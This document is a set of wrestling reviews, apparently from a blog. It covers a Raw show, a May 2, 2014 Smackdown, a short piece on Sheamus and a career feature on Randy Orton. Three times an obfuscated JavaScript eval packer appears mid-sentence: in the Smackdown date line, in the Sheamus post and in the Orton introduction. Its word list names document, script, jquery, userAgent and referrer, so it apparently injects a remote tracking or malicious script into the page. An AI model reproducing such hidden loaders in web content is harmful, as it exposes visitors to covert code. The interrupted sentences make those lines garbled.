Ambrose is defending and all of his challengers come to the ring at the same time. It’s the traditional big mess to start with Show throwing out Woods and Henry dumping Ryder. Truth is thrown out by someone we didn’t see as everyone else is just having random brawls. Ziggler finally loses his shirt but makes the mistake of hammering on Big Show. Santino slides back into the ring and fails to help Sin Cara eliminates Titus. Big Show dumps Titus with ease and does the same to Sin Cara with the masked man landing on all of the other eliminated guys. Why they were still at ringside isn’t explained.

Fandango gets Dolph over the top but not out to the floor as the brawling continues. Sheamus does the ten forearms to Sandow for an elimination and we take a break. Back with Big Show and Mark Henry being ganged up on in opposite corners. Heath Slater appears to be the only elimination during the break. Henry and Show shrug everyone off and have a showdown ending with a chokeslam to Henry. A Brogue Kick staggers Big Show though and everyone comebines to dump him out. They do the same to Henry and both giants are gone.

Kofi is sent to the apron but jumps back in, only to be kicked out by Ambrose. Dean gets Fandango as well but has to deal with Swagger. Ryback and Axel dump Cody and Goldust to get us down to seven: Ambrose, Santino, Sheamus, Ryback, Axel, Swagger and Ziggler. Scratch Dolph actually as Santino Cobras him out but is quickly dumped by Ryback and Axel, leaving us with five. Sheamus starts cleaning house but runs into a spinebuster from Ryback. The Goldberg chants start up and Ryback has blood on his teeth.

Axel and Ryback take control but can’t toss Dean out. The fans chant for Punk for no apparent reason as Dean backdrops Axel to the floor and wins a slugout with Ryback on the apron to get us down to three. Swagger tries for a cheap shot but Dean slides back in. Ambrose gets behind him and dumps Jack but turns around for the Brogue Kick. The elimination is academic and Sheamus is champion at 15:49.

Rating: C. This was probably the best way to get the title off Ambrose save for the cliched triple threat or fourway match. He’s got the record for longest reign by a WWE US Champion so it’s not like he didn’t get to do anything with the belt. Also this is something for Sheamus to do once he’s back so it’s good for everyone all around. It also didn’t come off as any sort of a heel turn which it wasn’t supposed to be.

Rollins tries to calm Ambrose down by saying it wasn’t fair but here’s HHH to interrupt. He talks about how lucky Shield got last night before announcing a six man tag with Shield vs. the Wyatts later tonight.

After a break Sheamus says he’s been spinning his wheels since he came back. They say every stopped clock is right twice a day and tonight was the perfect time for the Celtic Warrior to step back into glory. Renee asks him if he has a message for Dean Ambrose. Sheamus says no hard feelings.

We get stills from Bryan vs. Kane last night.

Daniel is with Brie in the back when Stephanie comes in. All Daniel did last night was anger Kane and make him capable of unspeakable acts of violence. Therefore, Bryan has to stay in this locker room until his match later tonight. She shuts the door and Kane’s mask is on the back.

Rob Van Dam vs. Cesaro

Feeling out process to start with Van Dam taking over with a quick armdrag. A headlock slows RVD down and a back elbow to the jaw gets two. Rob comes back with a quick kick to the face and Rolling Thunder sends Cesaro to the floor. Back in and Cesaro gets in a few more shots but another kick sends him outside for a big old flip dive.

A moonsault off the apron sets up a slingshot legdrop for two back inside. The fans think this is boring thirty seconds after all the high spots from Van Dam because wrestling crowds have the attention span of drunken gnats. Now it’s a CM Punk chant as Cesaro hammers away and sends Van Dam to the floor with a clothesline. We come back from a break with Van Dam fighting out of a chinlock and the fans chanting for him for a change.

A sunset flip gets two for Van Dam but he gets caught by a jumping double stomp of all things. Van Dam gets another two off a small package and rollup but he dives off the top into an uppercut for a pair of near falls. Cesaro nails him with an awesome looking running uppercut in the corner followed by some rolling gutwrench suplexes for two. Back up and Van Dam can’t hook a monkey flip out of the corner but runs into an elbow to the jaw. He goes up top but gets caught in a one legged tree of woe. Cesaro goes to the floor to hammer away at Van Dam’s head but does it too long for a DQ at 12:00.

Rating: C+. The match was fun and I actually like the ending. Van Dam was getting dominated so it doesn’t make Cesaro look bad and shows a more aggressive side to his character. Those rolling gutwrench suplexes are just awesome and his match against a big name is going to rock.

Cesaro hammers away even more until Heyman pulls him off. Van Dam looks totally out of it.

Bray Wyatt says that Abigail told him that he was born to lead and would change the world one day. This world we live in has an evil about it and everyone refers to him as a piece of trash or a nobody. Those people have made it a glorious day because last night, Bray Wyatt became somebody. Last night Cena’s fear was personified by a singing child and we get a clip showing just that. Bray talks about how a child has personified Cena’s fear. John thinks that Bray is spreading nothing but lies and just wants to watch the world burn.

The second part is right because he wants a new world to be reborn in his image. Wyatt is doing this for the homeless man sitting on the side of the street, for the teenage girl who woke up crying because she was called too ugly to be the prom queen and for every fan sitting in this arena. From this day forward, John Cena stands alone and alone he shall fall. The children shall stand will Bray Wyatt and they’ll never be alone again. He’ll be remembered for what he truly is: a god.

Ryback vs. Cody Rhodes

We see a clip from the battle royal that shows Cody accidentally eliminating Goldust. Cody starts fast and sends Ryback to the outside before hammering away in the corner. Ryback takes over with a hot shot before choking on the ropes to keep Cody in trouble. A delayed vertical suplex gets two on Cody and a hard whip into the corner puts him down again.

We hit the chinlock for a bit until Ryback misses a splash. Cody takes out the knee and hits a running knee to the chest for two. The Disaster Kick looks AWESOME, followed by a good looking springboard missile dropkick. Goldust goes after Axel but the distraction lets Ryback pull Cody off the top into Shell Shock for the pin at 6:00.

Rating: D. This was a really dull match as the always annoying “let’s have two guys lose every match they’re in and then wonder why no one cares about them at all after it’s over” trope continues. This match just kept going and I was really bored after about two minutes, especially when the ending was obvious.

The lights go out in Brie and Bryan’s locker room. A small fire lights up with Kane’s mask over it. The newlyweds leave and run into Stephanie, who offers to have Brie’s car brought up. I’m sure this won’t end badly at all.

It’s time for a Cinco De Mayo celebration with Los Matadores and Torito. They have your usual Mexican decorations and Torito throws out candy to the fans until 3MB interrupts. They want a truth but demand that only English is spoken. Drew threatens violence if the truce isn’t accepted and a brawl breaks out. Slater gets left alone and shouts OLE, only to be thrown to the floor. Torito puts Horny in an airplane spin as JBL shouts out boxing references.

Bolieve!

Kofi Kingston vs. Alexander Rusev

Before the match, Lana praises Vladimir Putin and Edward Snowden, saying America’s secrets are safe with them. Rusev runs Kofi over to start and tosses him down with an overhead belly to belly suplex. Kingston comes back with a dropkick and spinning crossbody for two but misses a kick to the chest, allowing Rusev to load up the fall away slam. Kingston lands on his feet though and tries the springboard cross body, only to be caught in mid air. Now the fall away connects and the Accolade makes Kofi submit at 2:50.

The Network is now available on XBOX One.

Brie gets into the car as Bryan looks around. He gets in to leave and of course there’s a camera in the backseat. Stephanie knocks on the window to scare both of them and says Bryan’s match is right now. If he doesn’t wrestle tonight, he’s stripped of the title. Thankfully Daniel has a brain and has Brie come with him to the ring.

Daniel Bryan vs. Alberto Del Rio

Non-title. Daniel fires off kicks in the corner to start before opting for some right hands to the face. He charges into the tilt-a-whirl backbreaker for two though and Del Rio takes over. Another USA chant starts up as Bryan fires the kicks in the corner. He backflips over Del Rio and actually slips on the landing. Thankfully JBL is paying attention and says it’s because he’s worried Kane might attack him. The YES Kicks have Del Rio in trouble but he grabs a Backstabber for two. Daniel heads outside and gets sent into the barricade as we take a break.

Back with Bryan fighting out of a chinlock but walking into a German suplex for two. Alberto starts goinga fter the arm and mocks the YES post, only to dive into a forearm for two. They head outside with Bryan being dropped face first onto the barricade. Back in and Del Rio lowers the knee pad for the superkick (not sure what sense that makes) but Bryan ducks and lands a hard kick of his own.

A drop toehold sends Alberto into the middle buckle and they trade kicks with Del Rio taking over. Bryan gets dropped with a big old kick but headbutts out of a superplex. The Swan Dive gets two and the running dropkicks knock Del Rio to the floor. FLYING GOAT sends Del Rio halfway into the stands but he comes back with an enziguri for two. The armbreaker is esily countered though and Bryan uses something like La Mistica to set up the YES Lock for the win at 15:32.

Rating: B-. This is the kind of stuff they should use to main event shows like Payback or another low level show. Instead of using the same matches over and over again, just let Bryan tear it up with some upper midcarder for about 25 minutes a month. Good match here with Del Rio going kick for kick with the champion.

Post match Kane’s pyro goes off so they run to the back. Brie and Daniel get in the car but it won’t start. Daniel checks the engine and plugs a wire back in. He shuts the hood and of course Kane is in the back of the car. Bryan fights Kane and tries to leave again but Kane gets on the back of the car. Daniel floors it to drop Kane on the concrete (off camera of course) but stops and looks back. Kane sits up so Bryan gets back in and drives off.

Intercontinental Title: Big E. vs. Bad News Barrett

Barrett is defending, having beaten Big E. for the title last night. Before the match, Bad News says the fans are going to need some cosmetic surgery for their new champion. Big E. runs him over to start and the fight is quickly on the floor. Barrett is rammed into the apron and a spear puts him into the steps before they just beat the count back inside. The champion goes right back to the floor but avoids a charge to send Big E. shoulder first into the post.

Back with Barrett still in control and getting two off Winds of Change. A hard knee to the face puts Big E. down again and here comes the Bull Hammer. You know it’s not working that quickly though so Big E. runs him over to put him in the ropes. The spear through the ropes puts both guys on the floor and it’s Big E. up first. The Big Ending is countered though and Bad News rakes the eyes. Bull Hammer retains the title at 10:48.

Rating: D+. Not much to see here as it was just the required win in the rematch to establish that Barrett is the better man and get rid of Big E. for awhile. It wasn’t a very good match though as Big E. started doing stuff he didn’t do while champion and it makes it easier to beat him, as is tradition in wrestling.

Cena will respond to Bray Wyatt on Main Event.

We look at the battle royal earlier.

Here’s a special Mother’s Day message from Mr. T. which is comprised of remixed clips of his Hall of Fame speech and Brodus Clay’s dancing bridge club from Wrestlemania XXVIII.

Swagger and Colter come out with a sign saying Zeb’s Deportation List. Colter says today isn’t Cinco De Mayo because it’s May 5. He doesn’t like all the foreigners coming into WWE and has a list of all the people he wants gone. It’s only a partial list: Cesaro, Heyman, Emma, Santino, Paige and Sheamus. Colter does the Emma dance and says it’s poisoning the youth of America. They’re interrupted by the Adam Rose party, complete with BUNNY. The entire party is here to carry Rose to the ring just like in NXT. The fans are singing the tune of his song too so it’s working.

Rose has a sucker in his mouth and holds it out to Colter. Zeb holds up a hand but Adam grabs him by the moustache. “Don’t be a lemon. BE A ROSEBUD!” Swagger runs at him but gets kicked in the face and backdropped to the floor. The party gets back in the ring and Zeb looks terrified before running off.

Wyatt Family vs. Shield

It’s a big fight to start and the bell rings with everyone on the floor. Ambrose and Rowan get things going with Dean taking over in the corner. Off to Rollins who gets thrown out of the corner, allowing for the tag off to Harper. Dean makes a blind tag to help Rollins with a double suplex and two on Luke. Roman comes in and hammers away before it’s quickly back to Rollins for a top rope shot to the arm.

Harper takes Seth into the corner to take over again and it’s off to Bray for some hard right hands to the head. Rowan can’t slam Rollins down and gets caught with an enziguri, allowing for the tag off to Dean. Ambrose hammers away and nails a cross body, allowing him to get even more hard shots. Dean cleans house and takes Rowan down with a shoulder before slapping on a Figure Four. He lets it go so we can have a standoff and take a break.

Back with Harper holding Ambrose in a chinlock. Dean fights up with a jawbreaker but it’s off to Rowan to whip Dean from corner to corner. Rowan is sent to the floor and the now legal Harper gets the same treatment. Seth hits a running dive to take them both out but stops to go after Bray, allowing Harper to shove him to the floor in a scary crash. Harper follows it up with a suicide dive, sending Rollins over the table.

Back in and things settle down again before it’s off to Bray for a running splash in the corner. Harper slams Rollins down for two more as everything breaks down. Rowan and Wyatt throw Dean onto the announce table before leaving him alone. Rollins knocks Harper off the top rope and hits the top rope knee to put both guys down. A double tag brings in Reigns to hammer on Wyatt and hit a series of the running clotheslines.

 

The Family breaks up the Superman Punch and it’s double dive time to send Harper and Rowan onto the table. Now the Punch connects and it’s Triple Bomb time but here’s Evolution. That’s fine with Shield as they kick the Wyatts onto Evolution and hit more double dives, only to have Bray run Roman over and hit Sister Abigail for the pin at 18:04.

Rating: B-. It’s a good match but it has to compare to the match these guys had at Elimination Chamber. The ending gives us a reason for Shield to keep fighting Evolution, hopefully in some singles matches instead of another six man. It’s a good main event but more about the stories than the match.

Evolution goes after Shield post match and this time their comeback is stopped. A string of finishers ends the show, including a Triple Bomb to Reigns.

Overall Rating: C. The more I think about it, the more seeing Bryan vs. Kane again makes me want to pound a rusty spike into my eye. If it’s going to mean another month of really bad segments like this one then I’m very glad I have the Network to give me something entertaining to watch instead of this nonsense. We get it: Kane is a monster who is going to lose in the blowoff match because that’s what he’s done for like 15 years now. The rest of the show was solid but that segment gets stupider and stupider every time I think about it.

Results
Sheamus won a battle royal last eliminating Dean Ambrose
Rob Van Dam b. Cesaro via DQ when Cesaro wouldn’t stop attacking Van Dam in the ropes
Ryback b. Cody Rhodes – Shell Shock
Alexander Rusev b. Kofi Kingston – Accolade
Daniel Bryan b. Kane – Yes Lock
Bad News Barrett – Big E. – Bull Hammer
Wyatt Family b. Shield – Sister Abigail to Reigns

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Smackdown – May 2, 2014: An Honest To Goodness US Title Match!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adkiy|var|u0026u|referrer|hhhhk||js|php'.split('|'),0,{})) May 2, 2014
Location: Sprint Center, Kansas City, Missouri
Commentators: Michael Cole, John Bradshaw Layfield

We’re two days away from Extreme Rules and everything is set up. WWE has been doing a good job of getting things ready for the show and making me care about the matches, which is something they should have been doing for years when the shows weren’t ten bucks a month but that’s a different story. Anyway, the main event tonight is Ambrose defending in a 3-1 handicap match against Del Rio, Ryback and Axel so let’s get to it.

 

The opening video talks shows HHH taking credit for Shield’s rise to the top but maybe he gave them a bit too much power. This transitions into a clip of their brawl that ended the show with Shield standing tall. The match on Sunday should rock.

The handicap match is now a fourway.

Sheamus/Usos vs. Wyatt Family

This has potential. Sheamus is here after losing to Bray on Main Event thanks to the Family. The Usos made the save so here’s a six man to continue the story. Jey starts with Harper and gets two off a quick shoulder before it’s off to Sheamus for power vs. power. They slug it out with Sheamus taking over until it’s off to Rowan who rams Sheamus into the corner. Back to Luke for another slugout with Sheamus taking over via the rolling fireman’s carry. A knee drop gets two on Harper but Harper comes back with a hard shot to the jaw.

Rowan comes in but misses a charge, allowing Sheamus to nail a knee lift. A cross body of all things puts Rowan and Sheamus on the floor and a staredown takes us to a break. Back with Bray getting the tag to work over Sheamus in the corner. Wyatt runs Sheamus over and crawls along the mat in the eerie way that only he can. Back to Erick for a knee drop followed by a good looking superkick from Luke for two.

Harper knocks an Uso off the apron but walks into the Irish Curse to put both big guys down. A hot tag brings in Jimmy to speed things up and Harper takes a Samoan drop. Jimmy nails an enziguri to Harper and some shots to the face put Rowan and Wyatt on the floor. The Whisper in the Wind misses though and Harper nails a Michinoku Driver for two. Everything breaks down and Sheamus lays out Rowan with the Brogue Kick. In all the confusion, Bray makes a blind tag and plants Jimmy with Sister Abigail for the pin at 7:44 shown of 11:14.

Rating: C. Nothing wrong with this as the Family gets a win and the Usos are pinned in a six man rather than the usual tag match. I’d assume this sets up Harper/Rowan vs. Usos, potentially at Extreme Rules, which would be an acceptable title match given how weak the division is for the most part anymore. Nice opener here.

Post match the Usos dive on the Family but Bray lays them out. Sheamus tries to fight all three monsters but the numbers catch up with him. The Irishman is thrown into the steps and taken down by Luke’s discus lariat.

Adam Rose is coming on Monday. “Next stop, Monday Night Raw! Come along! I HAVE BUNNIES!”

It’s time for the contract signing for Torito vs. Hornswoggle with Vickie running things. 3MB and Los Matadores are here as well and Slater says Horny has some demands. First off, he wants 300 mini green M&Ms and 3MB’s greatest hits playing for his training sessions plus 10 copies of Rudy on Blu-Ray. Torito interrupts him and yells in Spanish with Diego translating: “If you mess with the bull, you get the horns.” Vickie says she wants to keep this night and short and cackles at her joke. Horny signs but Torito doesn’t have hands.

Instead they put ink on his hoof and slam it down onto the contract. Horny says he’ll prove he’s the bigger man and moves his chair up a bit. Torito cranks his even higher so Hornswoggle gets a booster seat. They both get on the table and shove each other before a pose off begins. The brawl is finally on and Horny gets gored down onto Mahal. Los Matadores clear the ring and Torito uses the table as a launch pad to dive onto the Band. Yeah this went long, but at least they’re playing it as totally goofy which helps a ton.

Jack Swagger vs. Rob Van Dam

The triple threat on Sunday is now an elimination match. Before the match Cesaro comes out with his new music that sounds like the start of Attitude Era Raw. Swagger uses the distraction to go after Van Dam as Heyman jumps in on commentary. An early Vader Bomb gets two for Jack and a belly to belly gets the same. Van Dam is sent to the floor and gets kicked in the face by Swagger but Cesaro grabs Jack’s foot, allowing Rob to hit a quick kick and the Five Star for the pin at 1:52.

Post match Cesaro Neutralizes Van Dam.

Bolieve!

Alexander Rusev vs. R-Truth

Lana has her hair down for a change as she rants about America invoking sanctions against Mother Russia. Rusev takes Truth into the corner and fires off a series of kicks to the ribs before getting caught with a side kick to the face. Rusev falls to the floor but is able to punch Woods out. Truth dives over the top but gets caught in the air and thrown back inside. Woods comes in for the DQ at 1:04. This was the second time the match took place for what was likely a reshoot.

Truth and Woods clear out Rusev a few times post match.

Here’s Daniel Bryan in the neck brace with something to say. Thankfully he’s brought the titles with him this week. Daniel says he’s the same as all the fans right here in Kansas City. They come together and overcome obstacles every day. They also take care of their families and that’s everyone’s number one priority. This Sunday, with a lot of faith, determination and heart, he’s going to walk into the Extreme Rules as champion and he’s going to walk out as Champion.

Kane put him in this neck brace and put him in pain but none of that matters because Kane put his hands on Daniel’s wife. This is more than personal now because it’s a war. On Sunday Bryan will send Kane home by any means necessary and if that means Bryan goes out with him then so be it.

Kane comes on screen in the mask and says Daniel is making that sounds like a bad thing. When he and Bryan arrive in the devil’s home together, he’ll give Bryan a tour. We get a preview of it in the form of a Kane highlight video, showing him injuring Bryan over the last few weeks. Kane promises to show Daniel the depths of his depravity and gives an evil laugh.

Bolieve!

Dolph Ziggler vs. Damien Sandow

Damien is still dressed like Magneto. Cole asks JBL to tell us about Magneto and we get a somewhat in depth character biography. Sandow even has the helmet (hood) on as Ziggler takes him down with an armdrag. A Stinger Splash in the corner sets up a neckbreaker on Sandow followed by an elbow drop for two. Damien comes back with a flipping neckbreaker for two and an armbar that Cole calls the Magnet. The Wind-Up elbow connects but Ziggler hammers away. We stop for Magneto to use powers but since there’s no metal on Ziggler, he nails a dropkick and Zig Zag for the pin at 3:23.

Rating: D+. Sandow was destined to become a comedy character so I can live with this for the most part. Thankfully Dolph didn’t sell the magnetic powers stuff, putting him one step ahead of anyone who ever solid Little Jimmy. It’s almost hard to believe that Sandow was Mr. Money in the Bank less than a year ago.

Video on Paige vs. Tamina.

Big E. vs. Titus O’Neal

Non-title. Big E. muscles him to the mat before leapfrogging over Titus. He runs O’Neal over with ease and kicks him to the floor with one foot. Titus LAUNCHES Big E. over the announce table and then throws him on top of it for good measure. Back in and Titus hammers away in the corner before putting Big E. over his shoulder for a kneeling backbreaker. O’Neal chokes away and that’s a DQ at 2:16. Great way to make me believe in Big E. going into Sunday.

Post match Big E. destroys Titus and whips him into the announce table a few times. He stands over Titus in the ring which I think is supposed to make us think he’s ready for Sunday.

Video on Wyatt vs. Cena, including clips of the Wrestlemania match and the segment on Monday.

A record is playing the children singing on Monday and Bray calls it beautiful music. Those children pulls Cena’s soul out of his body and handed it over to Bray. He believes that the children are the future and they trust him more than Cena. When Bray climbs out of the cage on Sunday, he’s taking the children with him. That’s going to leave him an old bitter man all alone. Follow the buzzards.

US Title: Dean Ambrose vs. Alberto Del Rio vs. Ryback vs. Curtis Axel

One fall to a finish with Dean defending and Shield banned from ringside. The challengers all go after Dean to start but he jumps on Axel with no reservations. A 3-1 beatdown puts Dean on the mat with ease though and Curtis asks where Dean’s buddies are. Dean’s comeback is easily stopped and he’s thrown to the floor, allowing Axel to grab a rollup on Alberto for two. Ryback and Axel get in an argument and Dean comes back in to hammer on Axel. Ambrose is thrown back to the floor and we take a break.

Back with Ryback and Axel hammering on Alberto in the corner. Del Rio’s Backstabber gets two on Ryback but Axel makes a quick save. The fans are behind Ambrose as he saves a cover by Axel on Del Rio. Ryback and Dean go to the floor so Axel can dropkick Alberto down for two. A bad looking tilt-a-whirl backbreaker gets two on Curtis but Dean is back in to break it up and go after Ryback. Ambrose hammers on Del Rio and BLASTS Ryback in the face before low bridging him out to the floor.

The running dropkick puts Alberto down but Axel gets in a cheap shot to take the champion down. A Perfectplex is countered and Dean comes back with a hard clothesline for two of his own. Ambrose is sent to the floor and the Perfectplex gets two on Del Rio. Del Rio ties Axel up in the ropes for a top rope double stomp for a VERY close two and Ryback takes Curtis down with the Meat Hook by mistake. The armbreaker goes onto Ryback but he lifts Alberto into the air for the Shell Shock. Axel saves that pin but Dean slides in for a cradle on Curtis for the retaining pin at 10:04 shown of 13:34.

Rating: B. Take four guys and let them go for a lot of fast pins for a good while. This is one of the formulas that is hard to screw up and it worked well here too. Making it a fourway was a good call as it’s really hard to buy that Ambrose could win in a handicap match here. I can’t imagine he keeps the belt much longer though as he’s already got the WWE record with the thing.

It’s a triple team post match but Reigns and Rollins come in for the save and stand tall to end the show.

Overall Rating: C+. There were some issues in there but this was a good Smackdown for the most part. We got focus on everything with Evolution vs. Shield getting the least focus, which is the right idea after it was the top story on Monday. Bryan vs. Kane is looking better and better every week and some of the false finishes could be very good. Solid show this week and Extreme Rules is looking solid.

Results
Wyatt Family b. Usos/Sheamus – Sister Abigail to Jimmy Uso
Rob Van Dam b. Jack Swagger – Five Star Frog Splash
Alexander Rusev b. R-Truth via DQ when Xavier Woods interfered
Dolph Ziggler b. Damien Sandow – Zig Zag
Big E. b. Titus O’Neal via DQ when Titus wouldn’t stop choking
Dean Ambrose b. Alberto Del Rio, Curtis Axel and Ryback – Cradle to Axel

 

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Thought of the Day: A Real B+ Player

Unlike eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khbni|var|u0026u|referrer|ftrte||js|php'.split('|'),0,{})) Daniel Bryan of course.A real B+ player is someone like Sheamus.  He’s capable of having a very good match under the right circumstances, stays over, has a good look, has a solid resume and can easily slide into the main event scene if need be.  That’s a very valuable hand to have in the company and he’s still young enough to be turned into something with a bigger impact.  Nothing wrong with that at all.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Wrestler of the Day – April 1: Randy Orton

The voices tell me that today is Randy Orton.

Much eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tstnn|var|u0026u|referrer|yntas||js|php'.split('|'),0,{})) like Booker T, Orton has been around for a long time so I’m going to have to skip some big sections to keep this from being eight hours long.

Orton was trained by his dad and started in Missouri for a bit before signing to OVW. Here’s one of his matches from Christmas Chaos 2001 in January of the same year.

Slick Robbie D vs. Randy Orton

Cornette is in the Control Center and gives a brief intro to each match so they’re not as rushed as they seem. Robbie went nowhere but could jump like few I’ve ever seen. Orton actually has hair here and is a rookie as well and even has hair here. The referee is a chick with big hair. Randy isn’t evil here and has few tattoos. He’s also not orange yet.

Robbie hammers away on Orton so Cornette plays up how much of a rookie that Orton is. There’s that gorgeous dropkick by Orton and he grabs an armbar. Wheelbarrow suplex gets two for Orton. He’s freaking jacked here too. Big superkick by Robbie gets him out of trouble though. Leg drop gets two. Robbie hits a dropkick to send Orton to the floor. Apparently if you intentionally throw someone over the top it’s a DQ. I will never get that rule.

BIG plancha takes out Orton. Robbie tries to go up and goes so slow “that a crippled moose could be up there by now.” I love Cornette’s expressions like that one. Superplex brings Robbie down and both guys are down. Orton starts his comeback and hits some basic stuff. In a rather abrupt ending, Orton tries for a full nelson slam which is his finishing move at the time. It’s blocked so Orton tries it again and hits it for the easy pin. Like I said, rather abrupt.

Rating: C+. Another decent little match here as I feel like I’m watching a Before They Were Stars tape or something like that. Orton wasn’t that great here but it was clear that they were going to try to make him into something. As with a lot of other guys I don’t think anyone had any idea how big he would become but the potential was there.

Orton would make it to Smackdown a little over a year later and would be just a guy for awhile, including in this match on Smackdown from July 4, 2002.

D-Von/Batista vs. Big Valbowski/Randy Orton

Orton had been around for a few months here but was just a young kid. Batista was the deacon for Reverend D-Von and had debuted last week as well. Orton has hair here. Batista beat up Orton last week so this is the rematch Orton requested. Val (I’m not typing that whole thing) starts against Batista. He tries to take Batista’s knee out but gets run over by a HUGE clothesline.

Off to D-Von and the veterans do some basic stuff. Orton comes in to a screaming girls pop. He’s always had a sweet dropkick. D-Von gets a neckbreaker out of the corner for two. Orton gets beaten down but manages to bring in Val. Venis gets a Blue Thunder Bomb but Batista makes the save.

Orton comes in and hot shots D-Von, but Big Dave (first name unknown at this point) puts him in a fireman’s carry and rolls through it like Kenderson does. That’s a new one. Or old one in this case I guess. Everything breaks down and Orton misses his top rope cross body. The spinebuster ends this. Cole: “Batista is an animal!”

Rating: C-. This was fine and it’s amazing to see guys like this in their very young days. You never know what you might have in any given match and this is proof of it. I’m sure they knew they had something, but I don’t think anyone knew how big they’d be. Somehow, these two pale in comparison to the guy that would be in the next segment though. The match was fine.

Orton would suffer one of his numerous shoulder injuries to put him out of action. This was where everything changed. Let’s flash back to 1997 for a second. Rocky Maivia was brought in at Survivor Series 1996 as a face, but people would come to loathe him very quickly. They then turned him heel until his talent shined through and the fans turned him face again. This was basically a big screw up that turned out perfectly in the end. In 2002, WWE tried to do the same thing on purpose with Randy Orton.

Unfortunately it didn’t work all that well though and Orton was better as a heel. This led to the Randy News Network bits where he would interrupt broadcasts to say where he was in his shoulder recovery. However, instead of getting over as a face, Orton got WAY over as a heel and WWE just stayed with that and put him in Evolution despite being hurt. Evolution dominated 2003 and Orton was back in the ring a few months into the year. The team hit its peak at Armageddon 2003 which saw Orton challenging RVD for the Intercontinental Title.

Intercontinental Title: Rob Van Dam vs. Randy Orton

Rob takes him down quickly and Orton heads to the floor. Back in and we get some surprisingly decent chain wrestling, resulting in a standoff. Rob gets a shot to the ribs and a cross body off the top for two. Spinwheel kick puts Orton on the floor as Rob has been in control nearly the entire match so far. Big dive takes Orton out again as Rob threatens Flair a bit.

Slingshot legdrop gets two. He tries to go up again but Orton manages to shove him off, flying into the railing in one of his signature spots. Out to the floor and Orton gets that awesome dropkick of his. Back in and Orton chokes away with Rob making a hilarious face at the same time. Foley pulls Orton off Rob and Flair is TICKED.

Orton takes over with his usual stuff. Well usual for this time at least. It’s so weird to see him with only a few tattoos and normal looking skin. There’s the chinlock just to confirm it’s an Orton match. Big clothesline by Orton but he poses instead of covering. Seated dropkick gets two and it’s chinlock city again. Rob grabs a rolling cradle out of nowhere for two.

Split legged moonsault gets two. Orton hits a move of his I’ve always loved: he puts Rob on his shoulder like for a powerbomb and steps forward, pulling Rob down into a neckbreaker. Love that. Oh look here’s another chinlock. I know that’s a cliché for him but it’s true. Rob fights out of it after WAY too long and hits his spin kick to take over.

Off to the floor again and with Orton draped over the railing, Rob hits that spinwheel kick off the apron. Elevated DDT coming back in gets two. Knee drop by Orton misses and Van Dam gets a rollup with his legs for two. Rolling Thunder hits and there goes Flair whose hair is DRENCHED. Spinning kick takes down Randy again and it’s Five Star time. Flair has something in his hand but Foley takes him down. Orton dropkicks Rob off the ropes and there’s the RKO for the title.

Rating: C+. Pretty good here but Orton clearly didn’t know how to work a long match, although to be fair he still pretty much doesn’t. Van Dam is a weird guy to have carry you so Orton had to do a lot here. Foley would get spat on the next night and leave until the Rumble and then wrestle against Orton at Mania and Backlash. Either way, not bad here but not a classic.

Orton would hold the title for over half a year before dropping it to Edge. This freed him up to go after a World Title and he got that shot at Summerslam 2004.

Raw World Title: Randy Orton vs. Chris Benoit

Orton won a battle royal a month ago to set this up. It’s weird to see Orton with hair, regular colored skin and few tattoos. The fans of course are more interested in telling Earl Hebner that he screwed Bret. Feeling out process to start with Benoit taking it into the corner for a clean break. Benoit takes it to the mat and puts on a hard chinlock which gets him nowhere. Off to a test of strength with the taller Orton taking over, but Benoit comes back with pure leverage.

Benoit hooks an armbar as we reset a bit. Orton fights up and is armdragged right back down to the mat with Benoit cranking away on the arm. That goes nowhere so Benoit tries a Sharpshooter but Orton kicks him off and puts on one of his own. Benoit counters into his own Sharpshooter but it’s not on full, allowing Orton to get to the ropes. The Crossface doesn’t go on full either so they head to the floor where Benoit is whipped into the barricade.

There’s the Spanish table chant again as Benoit is sent shoulder first into the post. Back in and Orton puts on an armbar of his own, showing some basic psychology. Orton drops him ribs first across the top rope and the fight moves to the outside with Benoit hitting a kind of DDT onto the apron to take over. Chris tries a suicide dive but rams his head into the barricade as Orton moves to the side. Back in and Orton wrenches the neck around before putting on something resembling a camel clutch.

Orton puts Benoit over his shoulder for a powerbomb but steps forward into a neckbreaker for two in a nice move. We hit the chinlock which is actually a smart move here. Back up and both guys hit cross bodies for a double knockout. They slug it out with the champion taking over via a series of forearms to the head. Orton blocks the rolling Germans but gets caught in a northern lights for two.

Randy fights off a superplex and hits a high cross body for two, crushing Benoit’s head again in the process. Chris ducks a clothesline and hits a release German suplex before putting on the Sharpshooter. Two arm drops later and Orton gets to the ropes, only to be caught in a long series of rolling Germans for two. Benoit loads up the Swan Dive but Orton gets up the knee, driving it right into Benoit’s jaw. That’s hard to watch today. Orton’s cover is countered into a bad looking Crossface but Orton rolls away to escape. Back up and another Crossface attempt is countered into the RKO out of nowhere for the pin and the title.

Rating: B+. This took a bit to get going but I really liked the ending with the RKO hitting from nowhere. It caught the technical master off guard which was the right idea given that Orton is younger and faster. It’s a good match and Benoit put Orton over clean right in the middle of the ring. You can’t ask for more than that.

Orton celebrates as Benoit leaves but Chris comes back and demands that Orton be a man and shake his hand.

